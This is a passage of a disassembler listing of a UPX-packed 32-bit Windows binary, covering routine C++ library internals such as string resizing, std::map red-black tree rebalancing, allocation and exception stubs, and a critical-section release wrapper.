		mov	ebx, eax
		jmp	short loc_405F90
; ---------------------------------------------------------------------------


loc_405F66:				; DATA XREF: UPX0:00427214o
		mov	eax, [ebp+8]
		mov	[ebp-10h], esp
		mov	[ebp+8], eax
		inc	eax
		push	0
		push	eax
		mov	byte ptr [ebp-4], 2
		call	sub_406FCF
		pop	ecx
		mov	[ebp-14h], eax
		pop	ecx
		mov	eax, offset loc_405F87
		retn
; ---------------------------------------------------------------------------


loc_405F87:				; DATA XREF: sub_405F0B+76o
		mov	edi, [ebp-18h]
		mov	esi, [ebp+8]
		mov	ebx, [ebp-14h]


loc_405F90:				; CODE XREF: sub_405F0B+59j
		cmp	dword ptr [ebp+0Ch], 0
		jbe	short loc_405FB5
		cmp	dword ptr [edi+18h], 10h
		jb	short loc_405FA1
		mov	eax, [edi+4]
		jmp	short loc_405FA4
; ---------------------------------------------------------------------------


loc_405FA1:				; CODE XREF: sub_405F0B+8Fj
		lea	eax, [edi+4]


loc_405FA4:				; CODE XREF: sub_405F0B+94j
		push	dword ptr [ebp+0Ch]
		push	eax
		lea	eax, [esi+1]
		push	eax
		push	ebx
		call	sub_4049C9
		add	esp, 10h


loc_405FB5:				; CODE XREF: sub_405F0B+89j
		push	0
		push	1
		mov	ecx, edi
		call	sub_4054FB
		push	dword ptr [ebp+0Ch]
		mov	ecx, edi
		mov	[edi+4], ebx
		mov	[edi+18h], esi
		call	sub_405A76
		call	sub_40C50C
		retn	8
sub_405F0B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_405FD8	proc near		; DATA XREF: UPX0:00427204o
		mov	ecx, [ebp-18h]
		xor	esi, esi
		push	esi
		push	1
		call	sub_4054FB
		push	esi
		push	esi
		call	sub_40C03B
		int	3		; Trap to Debugger
sub_405FD8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_405FED	proc near		; CODE XREF: sub_405995+Bp

arg_0		= dword	ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_406022
		mov	esi, [ecx+18h]
		lea	eax, [ecx+4]
		cmp	esi, 10h
		jb	short loc_406004
		mov	edx, [eax]
		jmp	short loc_406006
; ---------------------------------------------------------------------------


loc_406004:				; CODE XREF: sub_405FED+11j
		mov	edx, eax


loc_406006:				; CODE XREF: sub_405FED+15j
		cmp	[esp+4+arg_0], edx
		jb	short loc_406022
		cmp	esi, 10h
		jb	short loc_406013
		mov	eax, [eax]


loc_406013:				; CODE XREF: sub_405FED+22j
		mov	ecx, [ecx+14h]
		add	ecx, eax
		cmp	ecx, [esp+4+arg_0]
		jbe	short loc_406022
		mov	al, 1
		jmp	short loc_406024
; ---------------------------------------------------------------------------


loc_406022:				; CODE XREF: sub_405FED+6j
					; sub_405FED+1Dj ...
		xor	al, al


loc_406024:				; CODE XREF: sub_405FED+33j
		pop	esi
		retn	4
sub_405FED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406028	proc near		; CODE XREF: sub_405546+39p
					; sub_405AF0+1Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, eax
		push	edi
		cmp	[esi+14h], ebx
		jnb	short loc_406039
		call	sub_40ABCE


loc_406039:				; CODE XREF: sub_406028+Aj
		mov	edi, [esi+14h]
		sub	edi, ebx
		cmp	[ebp+arg_4], edi
		jnb	short loc_406046
		mov	edi, [ebp+arg_4]


loc_406046:				; CODE XREF: sub_406028+19j
		mov	eax, [ebp+arg_0]
		cmp	eax, esi
		jnz	short loc_406062
		push	0FFFFFFFFh
		add	edi, ebx
		mov	esi, eax
		call	sub_4064F7
		push	ebx
		xor	edi, edi
		call	sub_4064F7
		jmp	short loc_4060A5
; ---------------------------------------------------------------------------


loc_406062:				; CODE XREF: sub_406028+23j
		call	sub_4060AE
		test	al, al
		jz	short loc_4060A5
		cmp	dword ptr [esi+18h], 8
		jb	short loc_406076
		mov	eax, [esi+4]
		jmp	short loc_406079
; ---------------------------------------------------------------------------


loc_406076:				; CODE XREF: sub_406028+47j
		lea	eax, [esi+4]


loc_406079:				; CODE XREF: sub_406028+4Cj
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+18h]
		cmp	edx, 8
		jb	short loc_406089
		mov	ecx, [esi+4]
		jmp	short loc_40608C
; ---------------------------------------------------------------------------


loc_406089:				; CODE XREF: sub_406028+5Aj
		lea	ecx, [esi+4]


loc_40608C:				; CODE XREF: sub_406028+5Fj
		lea	eax, [eax+ebx*2]
		push	eax
		push	edx
		push	ecx
		mov	eax, edi
		call	sub_406F3F
		add	esp, 0Ch
		mov	ecx, edi
		mov	eax, esi
		call	sub_405B16


loc_4060A5:				; CODE XREF: sub_406028+38j
					; sub_406028+41j
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_406028	endp


; =============== S U B	R O U T	I N E =======================================



sub_4060AE	proc near		; CODE XREF: sub_405546+42p
					; sub_406028:loc_406062p ...
		push	esi
		mov	esi, eax
		cmp	edi, 7FFFFFFEh
		jbe	short loc_4060BE
		call	sub_40AB96


loc_4060BE:				; CODE XREF: sub_4060AE+9j
		mov	eax, [esi+18h]
		cmp	eax, edi
		jnb	short loc_4060D1
		push	dword ptr [esi+14h]
		push	edi
		push	esi
		call	sub_406572
		jmp	short loc_4060EA
; ---------------------------------------------------------------------------


loc_4060D1:				; CODE XREF: sub_4060AE+15j
		test	edi, edi
		jnz	short loc_4060EA
		and	[esi+14h], edi
		cmp	eax, 8
		jb	short loc_4060E2
		mov	esi, [esi+4]
		jmp	short loc_4060E5
; ---------------------------------------------------------------------------


loc_4060E2:				; CODE XREF: sub_4060AE+2Dj
		add	esi, 4


loc_4060E5:				; CODE XREF: sub_4060AE+32j
		xor	eax, eax
		mov	[esi], ax


loc_4060EA:				; CODE XREF: sub_4060AE+21j
					; sub_4060AE+25j
		xor	eax, eax
		cmp	eax, edi
		sbb	eax, eax
		neg	eax
		pop	esi
		retn
sub_4060AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4060F4	proc near		; CODE XREF: sub_405546+1Ap
					; sub_40A4B6+Bp

arg_0		= dword	ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_40612A
		mov	esi, [ecx+18h]
		lea	eax, [ecx+4]
		cmp	esi, 8
		jb	short loc_40610B
		mov	edx, [eax]
		jmp	short loc_40610D
; ---------------------------------------------------------------------------


loc_40610B:				; CODE XREF: sub_4060F4+11j
		mov	edx, eax


loc_40610D:				; CODE XREF: sub_4060F4+15j
		cmp	[esp+4+arg_0], edx
		jb	short loc_40612A
		cmp	esi, 8
		jb	short loc_40611A
		mov	eax, [eax]


loc_40611A:				; CODE XREF: sub_4060F4+22j
		mov	ecx, [ecx+14h]
		lea	eax, [eax+ecx*2]
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_40612A
		mov	al, 1
		jmp	short loc_40612C
; ---------------------------------------------------------------------------


loc_40612A:				; CODE XREF: sub_4060F4+6j
					; sub_4060F4+1Dj ...
		xor	al, al


loc_40612C:				; CODE XREF: sub_4060F4+34j
		pop	esi
		retn	4
sub_4060F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_406130	proc near		; CODE XREF: sub_405BF2+8Ep
		push	4Ch
		mov	eax, offset loc_41C41F
		call	sub_40C46D
		mov	ebx, [ebp+14h]
		cmp	byte ptr [ebx+49h], 0
		jz	short loc_406177
		push	offset aInvalidMapSetT ; "invalid map/set<T> iterator"
		lea	ecx, [ebp-30h]
		call	sub_405138
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-30h]
		push	eax
		lea	ecx, [ebp-58h]
		call	sub_404A01
		push	offset dword_426E0C
		lea	eax, [ebp-58h]
		push	eax
		mov	dword ptr [ebp-58h], offset off_41D500
		call	sub_40C03B


loc_406177:				; CODE XREF: sub_406130+13j
		lea	esi, [ebp+10h]
		call	sub_405E27
		mov	edx, [ebx]
		cmp	byte ptr [edx+49h], 0
		jz	short loc_40618C
		mov	edi, [ebx+8]
		jmp	short loc_4061A5
; ---------------------------------------------------------------------------


loc_40618C:				; CODE XREF: sub_406130+55j
		mov	eax, [ebx+8]
		cmp	byte ptr [eax+49h], 0
		jz	short loc_406199
		mov	edi, edx
		jmp	short loc_4061A5
; ---------------------------------------------------------------------------


loc_406199:				; CODE XREF: sub_406130+63j
		mov	eax, [ebp+14h]
		lea	ecx, [eax+8]
		mov	edi, [ecx]
		cmp	eax, ebx
		jnz	short loc_40621F


loc_4061A5:				; CODE XREF: sub_406130+5Aj
					; sub_406130+67j
		cmp	byte ptr [edi+49h], 0
		mov	esi, [ebx+4]
		jnz	short loc_4061B1
		mov	[edi+4], esi


loc_4061B1:				; CODE XREF: sub_406130+7Cj
		mov	ecx, [ebp+8]
		mov	eax, [ecx+18h]
		cmp	[eax+4], ebx
		jnz	short loc_4061C1
		mov	[eax+4], edi
		jmp	short loc_4061CC
; ---------------------------------------------------------------------------


loc_4061C1:				; CODE XREF: sub_406130+8Aj
		cmp	[esi], ebx
		jnz	short loc_4061C9
		mov	[esi], edi
		jmp	short loc_4061CC
; ---------------------------------------------------------------------------


loc_4061C9:				; CODE XREF: sub_406130+93j
		mov	[esi+8], edi


loc_4061CC:				; CODE XREF: sub_406130+8Fj
					; sub_406130+97j
		mov	edx, [ecx+18h]
		cmp	[edx], ebx
		jnz	short loc_4061EF
		cmp	byte ptr [edi+49h], 0
		jz	short loc_4061DD
		mov	ecx, esi
		jmp	short loc_4061ED
; ---------------------------------------------------------------------------


loc_4061DD:				; CODE XREF: sub_406130+A7j
		mov	eax, [edi]
		mov	ecx, edi
		jmp	short loc_4061E7
; ---------------------------------------------------------------------------


loc_4061E3:				; CODE XREF: sub_406130+BBj
		mov	ecx, eax
		mov	eax, [ecx]


loc_4061E7:				; CODE XREF: sub_406130+B1j
		cmp	byte ptr [eax+49h], 0
		jz	short loc_4061E3


loc_4061ED:				; CODE XREF: sub_406130+ABj
		mov	[edx], ecx


loc_4061EF:				; CODE XREF: sub_406130+A1j
		mov	eax, [ebp+8]
		mov	edx, [eax+18h]
		cmp	[edx+8], ebx
		jnz	loc_406284
		cmp	byte ptr [edi+49h], 0
		jz	short loc_406208
		mov	ecx, esi
		jmp	short loc_40621A
; ---------------------------------------------------------------------------


loc_406208:				; CODE XREF: sub_406130+D2j
		mov	eax, [edi+8]
		mov	ecx, edi
		jmp	short loc_406214
; ---------------------------------------------------------------------------


loc_40620F:				; CODE XREF: sub_406130+E8j
		mov	ecx, eax
		mov	eax, [ecx+8]


loc_406214:				; CODE XREF: sub_406130+DDj
		cmp	byte ptr [eax+49h], 0
		jz	short loc_40620F


loc_40621A:				; CODE XREF: sub_406130+D6j
		mov	[edx+8], ecx
		jmp	short loc_406284
; ---------------------------------------------------------------------------


loc_40621F:				; CODE XREF: sub_406130+73j
		mov	[edx+4], eax
		mov	edx, [ebx]
		mov	[eax], edx
		cmp	eax, [ebx+8]
		jnz	short loc_40622F
		mov	esi, eax
		jmp	short loc_406248
; ---------------------------------------------------------------------------


loc_40622F:				; CODE XREF: sub_406130+F9j
		cmp	byte ptr [edi+49h], 0
		mov	esi, [eax+4]
		jnz	short loc_40623B
		mov	[edi+4], esi


loc_40623B:				; CODE XREF: sub_406130+106j
		mov	[esi], edi
		mov	edx, [ebx+8]
		mov	[ecx], edx
		mov	ecx, [ebx+8]
		mov	[ecx+4], eax


loc_406248:				; CODE XREF: sub_406130+FDj
		mov	ecx, [ebp+8]
		mov	ecx, [ecx+18h]
		cmp	[ecx+4], ebx
		jnz	short loc_406258
		mov	[ecx+4], eax
		jmp	short loc_406266
; ---------------------------------------------------------------------------


loc_406258:				; CODE XREF: sub_406130+121j
		mov	ecx, [ebx+4]
		cmp	[ecx], ebx
		jnz	short loc_406263
		mov	[ecx], eax
		jmp	short loc_406266
; ---------------------------------------------------------------------------


loc_406263:				; CODE XREF: sub_406130+12Dj
		mov	[ecx+8], eax


loc_406266:				; CODE XREF: sub_406130+126j
					; sub_406130+131j
		mov	ecx, [ebx+4]
		mov	[eax+4], ecx
		lea	ecx, [ebx+48h]
		add	eax, 48h
		cmp	eax, ecx
		jz	short loc_406284
		mov	dl, [eax]
		mov	[ebp-11h], dl
		mov	dl, [ecx]
		mov	[eax], dl
		mov	al, [ebp-11h]
		mov	[ecx], al


loc_406284:				; CODE XREF: sub_406130+C8j
					; sub_406130+EDj ...
		cmp	byte ptr [ebx+48h], 1
		jnz	loc_4063A0
		jmp	loc_406354
; ---------------------------------------------------------------------------


loc_406293:				; CODE XREF: sub_406130+22Dj
		cmp	byte ptr [edi+48h], 1
		jnz	loc_40639C
		mov	ecx, [esi]
		cmp	edi, ecx
		jnz	short loc_40631A
		mov	ecx, [esi+8]
		cmp	byte ptr [ecx+48h], 0
		jnz	short loc_4062C1
		push	dword ptr [ebp+8]
		mov	byte ptr [ecx+48h], 1
		mov	ecx, esi
		mov	byte ptr [esi+48h], 0
		call	sub_4063D6
		mov	ecx, [esi+8]


loc_4062C1:				; CODE XREF: sub_406130+17Aj
		cmp	byte ptr [ecx+49h], 0
		jnz	loc_40634F
		mov	eax, [ecx]
		cmp	byte ptr [eax+48h], 1
		jnz	short loc_4062DC
		mov	eax, [ecx+8]
		cmp	byte ptr [eax+48h], 1
		jz	short loc_40634B


loc_4062DC:				; CODE XREF: sub_406130+1A1j
		mov	eax, [ecx+8]
		cmp	byte ptr [eax+48h], 1
		jnz	short loc_4062FA
		mov	eax, [ecx]
		push	dword ptr [ebp+8]
		mov	byte ptr [eax+48h], 1
		mov	byte ptr [ecx+48h], 0
		call	sub_406416
		mov	ecx, [esi+8]


loc_4062FA:				; CODE XREF: sub_406130+1B3j
		mov	al, [esi+48h]
		push	dword ptr [ebp+8]
		mov	[ecx+48h], al
		mov	byte ptr [esi+48h], 1
		mov	eax, [ecx+8]
		mov	ecx, esi
		mov	byte ptr [eax+48h], 1
		call	sub_4063D6
		jmp	loc_40639C
; ---------------------------------------------------------------------------


loc_40631A:				; CODE XREF: sub_406130+171j
		cmp	byte ptr [ecx+48h], 0
		jnz	short loc_406334
		push	dword ptr [ebp+8]
		mov	byte ptr [ecx+48h], 1
		mov	ecx, esi
		mov	byte ptr [esi+48h], 0
		call	sub_406416
		mov	ecx, [esi]


loc_406334:				; CODE XREF: sub_406130+1EEj
		cmp	byte ptr [ecx+49h], 0
		jnz	short loc_40634F
		mov	eax, [ecx+8]
		cmp	byte ptr [eax+48h], 1
		jnz	short loc_406365
		mov	eax, [ecx]
		cmp	byte ptr [eax+48h], 1
		jnz	short loc_406365


loc_40634B:				; CODE XREF: sub_406130+1AAj
		mov	byte ptr [ecx+48h], 0


loc_40634F:				; CODE XREF: sub_406130+195j
					; sub_406130+208j
		mov	edi, esi
		mov	esi, [esi+4]


loc_406354:				; CODE XREF: sub_406130+15Ej
		mov	eax, [ebp+8]
		mov	eax, [eax+18h]
		cmp	edi, [eax+4]
		jnz	loc_406293
		jmp	short loc_40639C
; ---------------------------------------------------------------------------


loc_406365:				; CODE XREF: sub_406130+211j
					; sub_406130+219j
		mov	eax, [ecx]
		cmp	byte ptr [eax+48h], 1
		jnz	short loc_406382
		mov	eax, [ecx+8]
		push	dword ptr [ebp+8]
		mov	byte ptr [eax+48h], 1
		mov	byte ptr [ecx+48h], 0
		call	sub_4063D6
		mov	ecx, [esi]


loc_406382:				; CODE XREF: sub_406130+23Bj
		mov	al, [esi+48h]
		push	dword ptr [ebp+8]
		mov	[ecx+48h], al
		mov	byte ptr [esi+48h], 1
		mov	eax, [ecx]
		mov	ecx, esi
		mov	byte ptr [eax+48h], 1
		call	sub_406416


loc_40639C:				; CODE XREF: sub_406130+167j
					; sub_406130+1E5j ...
		mov	byte ptr [edi+48h], 1


loc_4063A0:				; CODE XREF: sub_406130+158j
		push	0
		push	1
		lea	esi, [ebx+10h]
		call	sub_4055BC
		push	ebx
		call	sub_40AC11
		mov	eax, [ebp+8]
		pop	ecx
		mov	ecx, [eax+1Ch]
		test	ecx, ecx
		jbe	short loc_4063C1
		dec	ecx
		mov	[eax+1Ch], ecx


loc_4063C1:				; CODE XREF: sub_406130+28Bj
		mov	edx, [eax]
		mov	eax, [ebp+0Ch]
		mov	ecx, [ebp+14h]
		mov	[eax], edx
		mov	[eax+4], ecx
		call	sub_40C50C
		retn	10h
sub_406130	endp


; =============== S U B	R O U T	I N E =======================================



sub_4063D6	proc near		; CODE XREF: sub_405CA8+B5p
					; sub_405CA8+11Dp ...

arg_0		= dword	ptr  4

		mov	eax, [ecx+8]
		mov	edx, [eax]
		mov	[ecx+8], edx
		mov	edx, [eax]
		cmp	byte ptr [edx+49h], 0
		jnz	short loc_4063E9
		mov	[edx+4], ecx


loc_4063E9:				; CODE XREF: sub_4063D6+Ej
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	edx, [esp+arg_0]
		mov	edx, [edx+18h]
		cmp	ecx, [edx+4]
		jnz	short loc_406400
		mov	[edx+4], eax
		jmp	short loc_40640E
; ---------------------------------------------------------------------------


loc_406400:				; CODE XREF: sub_4063D6+23j
		mov	edx, [ecx+4]
		cmp	ecx, [edx]
		jnz	short loc_40640B
		mov	[edx], eax
		jmp	short loc_40640E
; ---------------------------------------------------------------------------


loc_40640B:				; CODE XREF: sub_4063D6+2Fj
		mov	[edx+8], eax


loc_40640E:				; CODE XREF: sub_4063D6+28j
					; sub_4063D6+33j
		mov	[eax], ecx
		mov	[ecx+4], eax
		retn	4
sub_4063D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_406416	proc near		; CODE XREF: sub_405CA8+D2p
					; sub_405CA8+100p ...

arg_0		= dword	ptr  4

		mov	eax, [ecx]
		mov	edx, [eax+8]
		mov	[ecx], edx
		mov	edx, [eax+8]
		cmp	byte ptr [edx+49h], 0
		jnz	short loc_406429
		mov	[edx+4], ecx


loc_406429:				; CODE XREF: sub_406416+Ej
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	edx, [esp+arg_0]
		mov	edx, [edx+18h]
		cmp	ecx, [edx+4]
		jnz	short loc_406440
		mov	[edx+4], eax
		jmp	short loc_40644F
; ---------------------------------------------------------------------------


loc_406440:				; CODE XREF: sub_406416+23j
		mov	edx, [ecx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_40644D
		mov	[edx+8], eax
		jmp	short loc_40644F
; ---------------------------------------------------------------------------


loc_40644D:				; CODE XREF: sub_406416+30j
		mov	[edx], eax


loc_40644F:				; CODE XREF: sub_406416+28j
					; sub_406416+35j
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		retn	4
sub_406416	endp


; =============== S U B	R O U T	I N E =======================================



sub_406458	proc near		; CODE XREF: sub_418A96+6Dp
		push	50h
		call	sub_40B45F
		xor	edx, edx
		pop	ecx
		cmp	eax, edx
		jz	short loc_406468
		mov	[eax], edx


loc_406468:				; CODE XREF: sub_406458+Cj
		lea	ecx, [eax+4]
		cmp	ecx, edx
		jz	short loc_406471
		mov	[ecx], edx


loc_406471:				; CODE XREF: sub_406458+15j
		lea	ecx, [eax+8]
		cmp	ecx, edx
		jz	short loc_40647A
		mov	[ecx], edx


loc_40647A:				; CODE XREF: sub_406458+1Ej
		mov	byte ptr [eax+48h], 1
		mov	[eax+49h], dl
		retn
sub_406458	endp


; =============== S U B	R O U T	I N E =======================================



sub_406482	proc near		; CODE XREF: sub_405CA8+52p
		push	8
		mov	eax, offset loc_41C3FC
		call	sub_40C4A0
		push	50h
		call	sub_40B45F
		mov	ebx, eax
		pop	ecx
		mov	[ebp-14h], ebx
		mov	dword ptr [ebp-4], 1
		test	ebx, ebx
		jz	short loc_4064DA
		mov	eax, [ebp+8]
		push	dword ptr [ebp+14h]
		mov	[ebx], eax
		mov	eax, [ebp+0Ch]
		mov	[ebx+4], eax
		mov	eax, [ebp+10h]
		lea	edi, [ebx+10h]
		mov	esi, edi
		mov	[ebx+8], eax
		call	sub_405AF0
		mov	esi, [ebp+14h]
		add	esi, 20h
		push	6
		add	edi, 20h
		pop	ecx
		rep movsd
		mov	byte ptr [ebx+48h], 0
		mov	byte ptr [ebx+49h], 0


loc_4064DA:				; CODE XREF: sub_406482+22j
		mov	eax, ebx
		call	sub_40C50C
		retn	10h
sub_406482	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4064E4	proc near		; DATA XREF: UPX0:00427714o
		push	dword ptr [ebp-14h]
		call	sub_40AC11
		pop	ecx
		push	0
		push	0
		call	sub_40C03B
		int	3		; Trap to Debugger
sub_4064E4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4064F7	proc near		; CODE XREF: sub_406028+2Bp
					; sub_406028+33p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[esi+14h], edi
		jnb	short loc_406506
		call	sub_40ABCE


loc_406506:				; CODE XREF: sub_4064F7+8j
		mov	eax, [esi+14h]
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jnb	short loc_406513
		mov	[ebp+arg_0], eax


loc_406513:				; CODE XREF: sub_4064F7+17j
		cmp	[ebp+arg_0], 0
		jbe	short loc_40656C
		mov	ecx, [esi+18h]
		push	ebx
		lea	edx, [esi+4]
		cmp	ecx, 8
		jb	short loc_40652C
		mov	ebx, [edx]
		mov	[ebp+var_4], ebx
		jmp	short loc_40652F
; ---------------------------------------------------------------------------


loc_40652C:				; CODE XREF: sub_4064F7+2Cj
		mov	[ebp+var_4], edx


loc_40652F:				; CODE XREF: sub_4064F7+33j
		cmp	ecx, 8
		jb	short loc_406536
		mov	edx, [edx]


loc_406536:				; CODE XREF: sub_4064F7+3Bj
		mov	ebx, [ebp+arg_0]
		sub	eax, ebx
		add	eax, eax
		push	eax
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_4]
		lea	eax, [edi+ebx]
		lea	eax, [edx+eax*2]
		push	eax
		mov	eax, [ebp+var_8]
		sub	ecx, edi
		add	ecx, ecx
		push	ecx
		lea	eax, [eax+edi*2]
		push	eax
		call	sub_40AC49
		mov	ecx, [esi+14h]
		add	esp, 10h
		sub	ecx, ebx
		mov	eax, esi
		call	sub_405B16
		pop	ebx


loc_40656C:				; CODE XREF: sub_4064F7+20j
		mov	eax, esi
		leave
		retn	4
sub_4064F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_406572	proc near		; CODE XREF: sub_4060AE+1Cp
		push	8
		mov	eax, offset loc_41C2DA
		call	sub_40C4A0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		or	edi, 7
		cmp	edi, 7FFFFFFEh
		jbe	short loc_406594
		mov	edi, [ebp+0Ch]
		jmp	short loc_4065BB
; ---------------------------------------------------------------------------


loc_406594:				; CODE XREF: sub_406572+1Bj
		xor	edx, edx
		push	3
		mov	eax, edi
		pop	ebx
		div	ebx
		mov	ecx, [esi+18h]
		mov	[ebp-14h], ecx
		shr	dword ptr [ebp-14h], 1
		mov	edx, [ebp-14h]
		cmp	eax, edx
		jnb	short loc_4065BB
		mov	eax, 7FFFFFFEh
		sub	eax, edx
		cmp	ecx, eax
		ja	short loc_4065BB
		lea	edi, [edx+ecx]


loc_4065BB:				; CODE XREF: sub_406572+20j
					; sub_406572+39j ...
		and	dword ptr [ebp-4], 0
		lea	ecx, [edi+1]
		call	sub_40668D
		mov	ebx, eax
		jmp	short loc_4065F2
; ---------------------------------------------------------------------------
		mov	eax, [ebp+0Ch]
		lea	ecx, [eax+1]
		mov	[ebp-10h], esp
		mov	[ebp+0Ch], eax
		mov	byte ptr [ebp-4], 2
		call	sub_40668D
		mov	[ebp-14h], eax
		mov	eax, offset loc_4065E9
		retn
; ---------------------------------------------------------------------------


loc_4065E9:				; DATA XREF: sub_406572+71o
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		mov	ebx, [ebp-14h]


loc_4065F2:				; CODE XREF: sub_406572+57j
		cmp	dword ptr [ebp+10h], 0
		jbe	short loc_406617
		cmp	dword ptr [esi+18h], 8
		jb	short loc_406603
		mov	eax, [esi+4]
		jmp	short loc_406606
; ---------------------------------------------------------------------------


loc_406603:				; CODE XREF: sub_406572+8Aj
		lea	eax, [esi+4]


loc_406606:				; CODE XREF: sub_406572+8Fj
		push	eax
		lea	eax, [edi+1]
		push	eax
		mov	eax, [ebp+10h]
		push	ebx
		call	sub_406F3F
		add	esp, 0Ch


loc_406617:				; CODE XREF: sub_406572+84j
		push	0
		push	1
		call	sub_4055BC
		mov	ecx, [ebp+10h]
		mov	eax, esi
		mov	[esi+4], ebx
		mov	[esi+18h], edi
		call	sub_405B16
		call	sub_40C50C
		retn	0Ch
sub_406572	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_406638	proc near		; DATA XREF: UPX0:004274E4o
		mov	esi, [ebp+8]
		xor	edi, edi
		push	edi
		push	1
		call	sub_4055BC
		push	edi
		push	edi
		call	sub_40C03B
		int	3		; Trap to Debugger
sub_406638	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40664D	proc near		; CODE XREF: sub_405BF2+49p
					; sub_40664D+17p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_0]
		cmp	byte ptr [ebp+49h], 0
		push	edi
		mov	ebx, ecx
		mov	edi, ebp
		jnz	short loc_406687
		push	esi


loc_40665F:				; CODE XREF: sub_40664D+37j
		push	dword ptr [edi+8]
		mov	ecx, ebx
		call	sub_40664D
		mov	edi, [edi]
		push	0
		push	1
		lea	esi, [ebp+10h]
		call	sub_4055BC
		push	ebp
		call	sub_40AC11
		cmp	byte ptr [edi+49h], 0
		pop	ecx
		mov	ebp, edi
		jz	short loc_40665F
		pop	esi


loc_406687:				; CODE XREF: sub_40664D+Fj
		pop	edi
		pop	ebp
		pop	ebx
		retn	4
sub_40664D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40668D	proc near		; CODE XREF: sub_406572+50p
					; sub_406572+69p

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		test	ecx, ecx
		ja	short loc_4066A5
		xor	ecx, ecx


loc_406699:				; CODE XREF: sub_40668D+22j
		lea	eax, [ecx+ecx]
		push	eax
		call	sub_40B45F
		pop	ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4066A5:				; CODE XREF: sub_40668D+8j
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	ecx
		cmp	eax, 2
		jnb	short loc_406699
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_10]
		call	sub_40ACB7
		push	offset dword_426E80
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_10], offset off_41D4DC
		call	sub_40C03B
		int	3		; Trap to Debugger
sub_40668D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4066D7	proc near		; CODE XREF: sub_401441+3Cp
					; sub_401652+71p ...
		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+4], 0
		jz	short loc_4066EC
		push	dword ptr [esi]
		call	dword_41D204	; RtlLeaveCriticalSection
		mov	byte ptr [esi+4], 0


loc_4066EC:				; CODE XREF: sub_4066D7+7j
		pop	esi
		retn
sub_4066D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4066EE	proc near		; CODE XREF: sub_401BB2+152p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [eax]
		mov	eax, [ebx]
		test	eax, eax
		jnz	short loc_406736
		test	edi, edi
		jz	short loc_40672E


loc_406705:				; CODE XREF: sub_4066EE+4Aj
		xor	al, al


loc_406707:				; CODE XREF: sub_4066EE+91j
		test	al, al
		jnz	short loc_40672E
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	esi, [ebx]
		and	dword ptr [ebx], 0
		test	eax, eax
		jz	short loc_406724
		mov	ecx, [eax]
		push	ebx
		push	offset dword_4243B4
		push	eax
		call	dword ptr [ecx]


loc_406724:				; CODE XREF: sub_4066EE+29j
		test	esi, esi
		jz	short loc_40672E
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_40672E:				; CODE XREF: sub_4066EE+15j
					; sub_4066EE+1Bj ...
		mov	eax, [ebx]
		pop	edi
		pop	esi
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_406736:				; CODE XREF: sub_4066EE+11j
		test	edi, edi
		jz	short loc_406705
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		mov	esi, offset dword_424264
		push	esi
		push	eax
		call	dword ptr [ecx]
		mov	eax, [edi]
		lea	ecx, [ebp+var_C]
		push	ecx
		push	esi
		push	edi
		call	dword ptr [eax]
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_8], eax
		setz	[ebp+var_1]
		test	eax, eax
		jz	short loc_40676F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_40676F:				; CODE XREF: sub_4066EE+79j
		mov	eax, [ebp+var_8]
		test	eax, eax
		jz	short loc_40677C
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_40677C:				; CODE XREF: sub_4066EE+86j
		mov	al, [ebp+var_1]
		jmp	short loc_406707
sub_4066EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


